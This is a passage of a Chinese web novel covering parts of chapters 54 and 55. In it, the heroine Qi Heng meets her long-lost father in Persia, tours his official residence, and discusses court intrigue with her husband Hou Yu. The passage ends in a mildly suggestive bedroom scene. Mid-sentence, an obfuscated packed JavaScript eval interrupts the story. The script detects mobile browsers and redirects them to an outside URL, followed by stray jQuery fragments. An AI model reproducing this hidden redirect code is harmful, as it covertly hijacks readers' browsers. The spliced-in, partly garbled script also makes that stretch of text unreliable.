他落在戚姮手里,想跑也跑不掉,任由被五花大绑捆了起来。 戚姮拍了拍他的后背,啪啪作响:“小子,给我带路,饶你不死。” 他瞥了一眼:“你们要去哪?” “苏撒。”戚姮见他上道,满意地点头,“你家挺有本事的吧?能不能给我弄到公民通行证?” “你要去苏撒?”他笑,“那不如直接跟我回家。” “恐怕我要去的地方,你没资格跟着。” 他听这话不乐意了,站直了身子,掂了掂脚,才勉强跟戚姮一样高:“知道我是谁吗?” 戚姮音量更高了些:“知道我是谁吗?” 她说的太理所当然,给他说的都不自信了,迟疑着问:“你是谁?” 不远处窸窸窣窣几声响,打断了戚姮接下来的话。 她蹙眉仔细听着,脚步声渐渐靠近,杂乱交替,至少有几十来号人。 “阿澈?” 一声呼喊喊应了手里这小子,他眸光一亮,高声应道:“爹!我在这呢!” 戚姮一巴掌呼上了他的后脑勺:“我让你应了吗?” “我爹来了,你是谁也不管用。” 他嚣张极了,下巴冲后煜那里一抬:“你要是现在就把他踹了,我还能留他一命。不然等会你再跟我走,我绝对把他剁碎了扔河里喂鱼。” 后煜牵着马缰,原本一直在瞪他。见戚姮看过来,嘴一撇,立刻委屈巴巴地:“你不要我了吗……” 戚姮照着他的头又是一巴掌:“不会说话我把你嘴给撕了。” “哇啊!你干什么总跟我爹一样打我?” 这小子的爹已经带着人出现了,身后浩浩荡荡跟着一大群侍卫。 戚姮定睛一看:个个比人高马大,腰间带刀。身穿统一的服饰,瞧着就是训练有素,随行在侧的侍卫。 如若只有她一人,想脱身易如反掌。可身后还跟着一个,不把面前的问题解决了,后煜得死这。 “我不仅打你,我随时还可以杀你。” 她抽出剑,架在他的的脖颈,冷言道:“那就看看我的剑更利,还是你爹有能耐。” 戚姮抓紧他的衣领,拽着他向后退,又让后煜躲在她身后别冒头。 “阿澈!阿……” “爹!这里这里!” 他扭动了两下,看见救星了一般要冲上去,被戚姮死死按住,动弹不得。 来人看模样得有四十岁左右,极其高挑的个子,身穿与手里这小子的差不多的衣裳,只不过他所佩戴的饰品要更为华丽些。 气质明显区别于其他人,打眼一看就能瞧出不单单是家里有钱,至少也有权。 戚姮有点头疼。 跋山涉水精疲力尽好不容易走到了苏撒最外围,刚来第一天,路都没认全,就得罪了个一方土皇帝。 这要是拖着没完没了,戚姮想进城摇人都逮不到空子。 来人的脚步在看清眼前景象时戛然而止。 身后侍卫还想冲上去,被他抬手制止。 几个人面面相觑,又退回去了。 戚姮思索着如何解释才能将事情和平解决,想了许久,都把剑架他儿子身上了,说什么也白扯。 对面仿佛没听见亲儿子在这求救似的,整个人毫无反应,所有注意力全都放在了戚姮脸上。 戚姮退一步,他就跟一步。 天边只剩最后几丝日光,昏暗笼罩,为戚姮蒙上了层光晕,只剩朦胧的轮廓,看不太细。 “……” 只有这隐隐约约的感觉,才像那个人出现在了眼前。 他看着恍惚了许久,低下头,定了定心神。 他压下翻涌的各种情绪,才试探性地问: “姑娘。你娘……是不是叫独孤兰殊。” 54. 呼啸山雪【二】 “……” 戚姮蹙了蹙眉,直觉说眼前的人不对劲。 “独孤兰殊?” 后煜更错愕,呢喃声传到耳边,也来不及跟他解释了。 戚姮看向前方,不确定地问:“你认识我娘?你是哪位?” “我,”说到此处,对面颇有些手足无措起来:“这得看你今年多大了。” 戚姮额角一跳,心中隐隐有了猜测:“周岁十九。” 后煜:“十九?” 他垂眼敛去眸中翻涌的思绪,念叨着“那就对了”,脚下不自觉向戚姮这边靠近了几步,开口前低笑了两声,道:“我叫贺兰白。你娘有说过吗?” 戚姮呼吸一滞。 “我应该是你的……父亲。” 这话犹如平地炸起一道惊雷响在心尖,后煜微张着嘴,震惊的视线在他们两人之间徘徊:“……父亲?” 戚姮还未做好现在就见到他的准备,亦是呆愣在原地,说不出话。 刚到苏撒的第一个时辰,就不费吹灰之力地见到了贺兰白。 平地刮起一阵风,沙尘直往眼里吹。 戚姮下意识闭眼往后躲,她手里的贺兰澈就趁着这空隙挣脱,“嗷”一嗓子跑去对面,一个劲地撞贺兰白:“爹你说什么?你说什么?” 贺兰白被撞得踉跄好几步,站稳了才看见他被捆猪似的绑了起来,气不打一处来:“我是不是跟你说了不要瞎跑?哪天被人打死了等我来给你收尸吗?” 贺兰澈一蹦一跳地躲着他踹来的腿脚,呲着牙大叫:“你到底在说什么啊?” “这是我看上的女人,什么父亲娘亲的?!什么东西?” 贺兰白大惊,薅住他的衣领,照着他的脑袋就是一巴掌:“这是你亲姐姐!” · 贺兰澈亦步亦趋地跟在回去的路上,活像被泼了一盆冷水似的,蔫巴巴的一言不发。 他抬头向不远处瞧,戚姮正站在贺兰白的身侧,几乎如出一辙的身段更印证了他言语的真实性。 贺兰澈叹了一口气,又缓缓低下了头,不知道在想什么。 “别伤心,小舅子。”后煜伸手拍了拍他的肩,语重心长地说,“有情人不一定都会终成眷属的,也有可能是姐弟。对吧?” “姐夫对此,深感同情。” 他在旁边幸灾乐祸一路了,装都懒得装,贺兰澈忍无可忍地攥紧拳头,扭头瞪向他:“你很得意吗?” 后煜闻言更是险些破音:“没有没有……哈哈哈……” 嘲笑声太过肆无忌惮,贺兰澈瞬间怒从心头起,一把掀开了他的手:“算你运气好而已!笑什么笑?真以为你能抢得过我?” 后煜笑够了,咳嗽一声,轻蔑道:“八婚也轮不到你。” 贺兰澈:“……” 他一捂脸跑去哭了。 戚姮只用余光偷瞄着旁边贺兰白,不得不说,赵元的确长得与他有几分的相似性。 她搓搓手,摸摸脖子,向四周环视一圈,又拨弄了几下腰间挂着的荷包,就是不知道该说什么好。 除了能听见自己的脚步声,半分多余的动静也没有。 淡淡的尴尬弥漫了一路,她都快受不了了。 还是贺兰白也觉得尴尬,先开了口:“你娘她,身体不太好。现在是不是……” “嗯。”戚姮应,“好多年了,十二年前就已经不在了。” “这样……”贺兰白早就预料到了这个结果,点了点头,沉寂了好一会,又道,“那你现在,一直在哪里生活?是她再嫁的那户人家吗?” “在汴京,和继父一起。”戚姮补充,“还有舅舅。” 贺兰白表情变了变:“你舅舅,是不是独孤明殊?” 戚姮还应:“是他。” 贺兰白紧绷了很久,聊到这里突然放松了些,无奈道:“当年如果不是他瞎搅和,你娘就嫁给我了。” “……”戚姮不免觉得好笑。 每个跟她亲娘沾边的男人,都要暗戳戳吐槽几句赵繁英。 戚姮顺着问:“他是做了什么吗?” 贺兰白点了点头,颇有些终于找到话题的如释重负:“他给我下毒。” “下毒……?” 贺兰白想起曾经,笑了一声:“慢性毒,可解。其实就是,变相地赶我走。” 戚姮好奇问:“为什么啊?” “那时候你娘被查出了怀孕,按照规矩,要将孩子的父亲带出来成亲。” 他说:“但我的身份不对。” “我父亲是储君旧部,储君死了以后,新君将我们赶到了边疆。我不能出现在苏撒,她那身份又是冒充的,一旦把我查出来,她也会遭殃。” “独孤明殊就让我滚。不要在这瞎转悠,万一被发现,会连累她。” 戚姮点点头:“所以你就走了?” “没有。我不同意,趁他不在跑去问了你娘。结果她也是这么说的。” 贺兰白叹息一声:“她说她只想要孩子,不需要孩子的父亲。我留在那,就是个大麻烦。” 戚姮额角一抽。 贺兰白没察觉她表情的微妙,兀自挠了挠头:“明明每次见面你娘都特别黏我,怎么突然就变成那样了……” “肯定是独孤明殊跟她说了什么,才把这事搅和散了。” 戚姮欲言又止,止言又欲,把那句“她装的”咽了回去:“嗯……舅舅说话的确,巧言令色。” “是吧!”贺兰白终于找到共鸣,憋了二十年的往事可以有人分享了,“没办法。我身上还有毒没解,只能先离开。” “等我再找过去,就是她被选中要去和亲了的时候。跟我说孩子没养活,就此缘分已尽,以后不要再见了。” 贺兰白频频扭头看向戚姮,就像做梦似的晕晕乎乎:“没想到是她骗了我,你都……长这么大了。” 本该死去多年的孩子贸然出现在眼前,已然长到了与自己眉骨齐平的个子,饶是再淡然的性子,也不免心起波澜。 他这辈子没再见过第二张长得像独孤兰殊的脸了。 或许可以称得上一句,久别重逢。 戚姮垂首瞧着鞋尖,说:“也不算是骗吧。当时因为各种原因,她确实以为孩子夭折了。” “我娘嘱咐过,如果我有机会去波斯,就来见见你。” “这样啊。”贺兰白唇角上扬起浅浅的弧度,向她那边靠近了些,轻声问,“那我可以抱抱你吗?” 戚姮点了点头。 肩头落下带有温度的手掌心,贺兰白揽着她,继续向前走。 最初的尴尬过后,相处就自然多了。 “正好我们今晚就要回去了,你要一起去看看吗?” “那个……你现在的夫人,可以接受我的存在吗?我就是来瞧上一眼,如果介意的话,我就不去了。” “我们早就分开了。她平常会来看看孩子,除此以外,也懒得理我。”贺兰白无奈地摇头,“自那以后我也没娶过亲,家中是空的,不用担心。” 波斯是绝对的一夫一妻制,不允许存在与中原皇帝选妃一样的情况。 回顾过去,有些君主会耐不住性子,私通女佣,亦或者搞出不伦之恋。但生出来的孩子没有继承权,是名副其实的私生子。 国家理事会不认,无法称之为王子。 他说没有,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554138|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实真的没有。 戚姮了然于心,刚想开口,身后大嗓门嚎着跑了过来。 “啊!爹!”贺兰澈扑到贺兰白身上,缠着他不肯松手,“我也要抱。” 贺兰白险些没站稳,被戚姮扶了一把才止住踉跄。 他都快吐血了,还要另一只手搭过去搂上了贺兰澈:“……你不要总是跟个野牛一样撞我。” “可是我现在很难过,不知道跟谁说。”贺兰澈偷瞄着左边的戚姮,低下头诉苦,“为什么我还有个姐姐?” 贺兰白疑惑道:“有姐姐不好吗?你小时候看别人都有姐妹,一直说想要呢。” “不对。不应该是这个姐姐,应该换个姐姐。” 戚姮抱着胳膊,似笑非笑:“你的意思是,我很差劲喽。” “不对……哎呀不是。” 贺兰澈被两道声音夹击着,都不知道怎么说才好了。 他捂住脸,扭扭捏捏:“姐姐没问题。但是,我第一次有心跳加速的感觉,为什么会对着我姐姐?” “你面前要是站只老虎,照样会有心跳加速的感觉。”贺兰白满头黑线,“你是不是看见别的东西吓着了?” 贺兰澈否认,回忆着刚才所见所闻,如实道:“我追着狐狸来到盐湖边,只看到姐姐和别人亲嘴!没看见别的东西。” 戚姮:“……” 后煜悄悄来到戚姮身侧,恰巧被贺兰澈瞥到,跨过父姊伸手指了过去:“就是他!” 后煜没听见前头说了什么,猛地被指认还有些懵圈:“啊?” “……这是姐姐的丈夫,不能这么没礼貌。” 贺兰白把他的手按了回去:“你才十四岁,偷看别人接吻当然觉得新奇,不是真的心跳加速。下次不要偷看了。” “就他?配都配不上。” “你再这样说话我打你了。” 贺兰澈果然闭了嘴,愤愤瞪了后煜好几眼。 后煜缓缓意识到了这是在聊什么,一个挑衅的眼神甩过去,就把这小孩气得差点蹦起来。 贺兰澈控诉道:“我被他打了一顿!为什么还要打我?” 贺兰白苦口婆心地劝:“我是不是跟你说过已经成家的姑娘不能追,被打你不是活该吗?” “不试试怎么知道她想不想改嫁给我?” “不能就是不能,试也不许试。” “哼。”贺兰澈踢了一脚石子,“本来我想一箭把他给杀了,这样姐姐就不是已经成家的人了。” 贺兰白大惊失色,一巴掌又拍下去了:“我是让你这么遵守规矩的吗?” “讨厌。”贺兰澈捂着头,很不高兴。 他们两个人聊天还停在父亲教育稚子的氛围,戚姮听得嘴角直抽抽,忍不住悄声问:“他才十四岁啊?怪不得有点孩子气。” 贺兰白提起这个儿子,平白老了十岁,力竭道:“他就是傻。七岁磕到了脑子,自那以后就变得笨笨呆呆的。” “我让医生瞧过他是不是摔成了智障,哎,有一点。” 戚姮:“………” “以后选举也指望不上他了。”贺兰白拨弄了几下贺兰澈的脑袋,“明年就到了参政的年纪,还有治好的可能吗?” 他疯狂摇头:“我不参政,我要去打猎。” 贺兰白叹了口气:“每天就这样,什么事都要我在他耳边重复,就这也不听。我都不知道怎么办好了。” “……挺好的,挺好的。” 戚姮扶额。 一个单纯的傻子,和一个想干坏事的傻子比起来,可好太多了。 早知道小时候照着赵初脑袋敲两棍子得了,傻得彻底也比现在好办。 55. 呼啸山雪【三】 “这就是王宫吗……” 三面环山,一面绕河,绕着整片庄园静静流淌。 跨过白石桥还要再走一段碎石路,容下两辆马车并行都绰绰有余。 方才遥遥望去就领略了此处的宏阔,离近了再看,更觉夸张。 宫殿伫立在草坪之上,足有九层楼高,堡楼向旁延伸,一座挨着一座,错落有致。 烛火通明,照耀着金碧辉煌、异常繁琐华丽的装饰。 戚姮看着眼前闪亮亮金灿灿,富丽堂皇的高楼,下巴都快掉在了地上。 只听说过波斯与中原各类风俗大相径庭,现实领略一番,真是说保守了。 两个世界都不足为过。 汴京那皇宫又小又破,三步一个狗洞,五步一堵开裂的土墙,一到夏天蛇虫鼠蚁满天飞,连屋顶瓦片松动都没人修。 赵繁英刚搬进宫那几天非说有人暗算他,排查了好几天,发现是灭鼠的药毒性太大,闻着受不了。 破成那样也没人翻修。 燕朝不算穷,甚至是周边极其富庶的国家,仅次于波斯稍许。 建筑风格却天差地别。 “我们不回去了,留在这怎么样。”戚姮呆滞缓慢地开口,“官家的皇宫太破了,跟这一比,简直像个茅厕。” “……” 后煜这辈子第一次见到真正意义的豪宅就是定远侯府,寸土寸金的东京,将后花园连到城郊山脚下,他甚至在侯府迷过路 总共就两个主人住,硬是整成了皇宫的做派,奢华到时至今日有官员路过侯府门前都忍不住骂上两句。 可面前这个,都不能用宅子来概括了吧…… “王宫?” 贺兰白反应了一会:“中原还把这种地方称作王宫,对吧?” 戚姮点了点头。 “那样听起来好像守旧派要卷土重来似的,这里不叫王宫。” 贺兰白的中原话水平实在有限,想了半晌该叫什么,依旧不会翻译:“它主要用来与议员们办公,并不属于我。” “我只暂住在那边的官邸中,哪天我退位了,还要再搬走。” 戚姮陷入沉思。 王宫可以继承,而这里,像奢华点的客栈。 “我的名字叫白,住在这,不如……叫白宫。” 他还挺满意:“一听就知道领导人是谁呢。” 贺兰澈突然扬起脸,问:“那我统治波斯以后,要改名叫澈宫吗?” “……你还是洗洗去睡觉吧。” 足以称为私人园林的王宫……白宫,光是走去他们所住的官邸就费好一阵功夫。 主殿门前花团锦簇,喷泉立在水池中央,风从草坪滚过去,草浪层层推远,一直涌到台阶下。 “这里就是。”贺兰白说,“比着主殿会小一些。” 顺着走进厅中,脚步声在空旷的高楼回廊中荡了个来去。 太夸张了。 官邸都有四层,戚姮仰头能直接看到顶,一层一层盘旋向上。 水晶灯托中的白烛缓缓摇曳,暗金流动进壁炉,“轰”地跃上起火焰。 · “汴京那群老头,三天两头就说我心思不纯,不忠,肯定想回波斯。” “我还觉得莫名其妙,波斯到底有什么好的,能让他们都那么想。” “现在再看,就单凭宅子而言,波斯确实略胜一筹。” 戚姮脸上的红痕明显是被晒伤的,洗漱完再出来,梳妆台上就摆满了送来的各种滋养品。 她拧开盖子,挨个闻了一遍,照着镜子往脸上抹。 “当年我爹给侯府扩容,从划地开工就在被当官的骂。官家私底下跟我说,他都不觉得汴京这些房子是房子,翻修一下怎么就惹起民愤。” 戚姮哼笑两声:“原来是住过好的。” 后煜沉默着没吭声。 他垂着脑袋一动不动,刚从浴间出来,头上顶着条毛巾,也不擦,发尾还在哗哗往下滴水。 屋里太寂静,戚姮忍不住瞥了他一眼。 他正眉头紧锁,皱着表情,似是想说话,动了动唇,又憋了回去。 “这儿的香料造得好,连养护品都加了香。”戚姮招手示意他低头,“我给你也涂点。” 后煜乖乖俯下身,任由冰凉的白色药膏敷在脸上。 淡淡的果香味萦绕鼻尖,与戚姮平日里喜欢擦的香几乎一个调性。 他掀起眼皮偷瞄戚姮,见她没有任何异样,嘴闭得更紧了。 这诡异的氛围并没有持续太久,后煜还在死磕心中最疑惑的那问题,就听戚姮突然出声:“我娘和我舅舅,也是双生子。” 后煜眨巴眼睛,傻傻地望着她。 戚姮用脚趾头想也知道他在纠结什么,主动开了口:“一个被送走。一个留了下来,女扮男装,成了独孤兰殊。” “独孤尧死了以后,她恢复女儿身,顶替了个公主的身份,才活了下来。” “嫁去汴京之前,她就已经生下了我。后来,为了掩盖这个秘密,才把我的年龄改小了三岁。” 戚姮简短的解释了一番,拍了拍他的脸:“好了。等一会就干了。” “……”后煜撑着桌子缓缓站直身子,若有所思。 意识到这些话题不是禁忌,他试探道:“去年我翻看波斯史书,不可避免了解到了独孤兰殊。” “那时我以为她才是你舅舅,毕竟你用兵的技巧和风格,都很像她。” 后煜还是觉得不可思议:“居然是亲生母亲……” 戚姮细想了想:“我娘教过我东西,但是我全忘了。我爹不擅长兵法,也没教过什么。” “可能是我比较随她吧,风格确实像。” 后煜更惊讶了:“侯爷不擅长带兵吗?” “他连字都能认错,指望他带兵啊?” 戚姮直接否认:“统领能力一般,要靠别人规划好策略,之后就很能打了。” “这样的话……侯爷确实生不出你这样全面的孩子。” 戚姮挑了挑眉,品出些许弦外之音。 她饶有兴致地盯着后煜,一副看穿一切的表情:“你早就怀疑过我不是我爹亲闺女,是不是?” “……” 直觉依旧准到可怕。 后煜挠了挠侧脸,莫名不好意思看她。 他躲避着戚姮的目光,支支吾吾地承认:“是前些日子与夏瑾闲聊,他猜测过你不是侯爷的亲生女儿。我顺便听了一听。” “但他猜得又比较扯,说你更像官家的女儿……还真让他歪打正着猜对了一半。” 闻言,戚姮并没有多大的意外,甚至在听到是谁猜中的后还笑了声: “夏怀微不简单。” 她语气平淡,似乎就像在说一件稀疏平常的小事:“柳国公四个儿子,现在就剩他这老幺了。你不妨也可以猜猜,他是怎么抢来的爵位继承权。” 后煜听懂了她的意思,难以置信:“他们可是一母同胞……” 平宁长公主下嫁刚成为探花郎的柳小公爷,婚后琴瑟和鸣,国公府四子皆为长公主所出。 这在当年甚至还是一段佳话。 夏怀微自幼年纪最小,最得父母宠爱,比着秦国公府那一团糟的父子兄弟关系,一母同胞总是要比一屋子嫡庶有别更亲近。 他完全犯不着做到这种程度。 戚姮却嗤了一声:“你太高估男人之间的情谊了。” “恰巧他之上的兄长全死了,恰巧就活了他,恰巧让一个跟爵位基本无缘的人成为了小公爷。可能吗?” “……” 这让后煜想起一个细节。 他的三个哥哥是按顺序死的,每个都卡在即将及冠、请封爵位之前。 一个跌进河里溺水而亡,一个上山礼佛突遇山贼,还有一个自出生便体弱,顺理成章的在某天夜里撒手人寰。 要说巧合,那也太巧了。 “他就是更狠一点的解烺。毕竟解修竹和国公夫人不算恶劣,解烺再坏,也还有点人味。” “夏怀微不一样。平宁长公主曾经就狠,这么几个孩子总有一个像她的吧。” “你猜这个孩子是谁?” 后煜有些迟疑,心中已经信了大半。 她说的不错,解烺顶多算坏,坏的有依有据。单纯觉得有个弟弟就有概率被分走现有的一切,于是看后煜很不爽。 夏怀微单纯是想那么干。 就从聊着天,他突然说要把戚姮杀了的时候,没有任何征兆。 戚姮靠着桌沿,不急着让他现在就信,只是似笑非笑地看着后煜:“你知道,我是什么时候开始怀疑的夏怀微吗?” 后煜摇了摇头。 她反问道:“夏怀微是不是担心过官家可能会册立赵元为太子。” “!”后煜瞬间瞪大双眼,眸中写满震撼。 一看他这反应戚姮也知道猜的不错,继续问:“什么时候?” “……马球会上。” 基本与猜测一致,戚姮环着胳膊,道:“所以他等不及在晚上就来找我了。” “我与赵初相斗,两败俱伤。夏怀微坦白他与赵元的关系,离间我和文则。再把宁淮的秘密说出来,借着我的手就能把姓宁的给除掉。” “这样一来,赵初当太子遥遥无望,赵元会被踢出 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她揉了揉脑袋,无奈道:“夏怀微以为,他比我老个几岁,就能转过头来骗我了。” 后煜从最初的震惊中回过神来,已经完全想明白了:“……怪不得你没有与赵初闹掰。” “赵初那点小九九,早被一堆人看穿了,谁搭理他。” 戚姮耸耸肩,又有些无奈地感叹:“以后不会太平的,北凉是目前最小的障碍。” 仗刚打完,正是两边休养生息的时候,短时间内绝不可能再次出现大规模动荡,北凉的威胁几乎可以等同于零。 以后的问题只会出现在内部。 赵初作为这一代唯一的皇子,继承皇位是早晚的事,纯粹因为想不开将自己作死到狗见狗摇头的境地,才给了夏怀微可乘之机。 戚姮先前从未对皇位有所图,可现在,面上不表现,心里头已经无法容忍赵初登基为帝了。 就像赵繁英说的,赵初当不好一个合格的皇帝。他的脑子好像不在这个“赵氏皇族”的平均水平上,蠢得出奇。 戚姮想让谁当皇帝,不一定能成。但要是豁出去阻止谁当皇帝,一定能成。 提前闹掰对他没有丁点好处。 赵初还是这么做了,自回来后戚姮所遭遇的一系列事情,都在消耗与他一起长大的情分。 这几个月来,只要闲下来谈及京城里的琐事,她就会变得异常烦躁,心神不宁,容易受不住脾气。 后煜对情绪捕捉向来敏感,却不知如何宽慰,每次只能干看着,尽量少说话烦她。 这次赶在戚姮要皱眉头前,他赶紧从后搂了上去:“不想这些了,我们去睡觉。” 戚姮还未来得及开口,就被他搂着踉跄来到床边,一阵窸窸窣窣后钻进了被窝里。 后煜的头发还滴着水,非要戚姮颈窝里蹭,蹭的身上湿漉漉的:“这几天你还没怎么亲我呢,我都想你了。” 再给后煜两张脸皮他也说不出讨吻的话,她门清是这小子想转移话题,故意这么说。 定睛一看,他整张脸红到了耳朵尖,说完就不愿意抬头了。 戚姮象征性地推了两下:“哎呀你头发都没干,睡醒头痛。快擦擦去。” “不要。”后煜缠住她,半压在戚姮身上,“我不要走。” “……”戚姮凑上去,亲了一口他的嘴角,笑骂道:“你就是个无赖。” 她仰头,细细密密地转去亲吻其他地方。 经戚姮的观察,后煜很喜欢亲吻。 但凡哪天少亲了,他就会不开心,闷到晚上睡觉前的闲聊,非常刻意地做些自以为戚姮很喜欢的举动吸引注意,两眼期待地等着。 戚姮哪天想逗他了,佯装看不懂,掐灯睡觉以后,他一定会在被窝里翻来覆去。 等到以为戚姮睡着,再缠上来偷偷亲。 有时候是戚姮先睡醒,还会闭着眼再装一会,直到他也睡醒,偷亲够了,才会睁开眼。 “你就光阻挠我想正经事吧。” 戚姮捧着他的脸,假装嫌弃道:“你就够傻了,还想带着我一起变笨。把赵又养成了只会傻笑的小傻子,要是生,岂不是生个更呆傻的出来?” “我不傻。” “属你最傻。” “你现在就嫌弃我和孩子了。”后煜叹息,“太可怕了。” 戚姮猛地起身,坐在了他身上,熟练地勾开了他腰间的系带:“我倒要看看,你会不会让我生出傻子来。” 被子罩上脑袋前,后煜还想挣扎一下,无果,只留下一声惊呼:“诶?!”